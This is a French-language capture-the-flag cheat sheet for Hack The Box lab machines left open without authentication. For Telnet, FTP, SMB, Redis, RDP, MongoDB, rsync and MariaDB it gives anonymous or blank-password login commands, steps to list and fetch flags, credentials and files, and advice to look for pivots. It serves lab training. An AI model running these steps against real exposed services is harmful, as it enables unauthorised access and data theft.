Aller au contenu principal

Service ouvert sans authentification

Tu as trouve un service qui accepte les connexions sans mot de passe. C'est le scenario le plus simple : entrer et extraire.

Checklist generale​

  • Se connecter au service
  • Explorer / enumerer le contenu
  • Extraire les donnees sensibles (flag, credentials, fichiers)
  • Chercher des indices pour pivoter vers d'autres services

Scenarios par service​

Telnet (port 23) - Login root sans password​

telnet <IP>
# login: root
# Password: (Entree)

→ cat flag.txt

Box : Meow

FTP (port 21) - Connexion anonyme​

ftp <IP>
# Name: anonymous
# Password: (Entree)

→ ls → get flag.txt ou get <fichiers_sensibles>

Boxes : Fawn, Crocodile, Funnel

SMB (port 445) - Partage anonyme​

smbclient \\\\<IP>\\<share>
# Password: (Entree)

→ ls → cd → get flag.txt

Box : Dancing

Redis (port 6379) - Sans auth​

redis-cli -h <IP>

→ select 0 → keys * → get flag

Box : Redeemer

RDP (port 3389) - Administrator sans password​

xfreerdp3 /v:<IP> /cert:ignore /u:Administrator

→ Flag sur le bureau

Box : Explosion

MongoDB (port 27017) - Sans RBAC​

./mongosh mongodb://<IP>:27017

→ show dbs → use <db> → db.flag.find()

Box : MongoD

Rsync (port 873) - Module public​

rsync <IP>::<module>/flag.txt .

Box : Synced

MariaDB (port 3306) - Root sans password​

mysql -h <IP> -u root

→ SHOW databases; → USE htb; → SELECT * FROM config;

Box : Sequel

Reflexe apres exploitation​

Meme si le flag est directement accessible, ne pas s'arreter la. Chercher :

  • D'autres fichiers sensibles (credentials, notes)
  • D'autres bases de donnees / tables
  • Des indices pour pivoter vers un autre service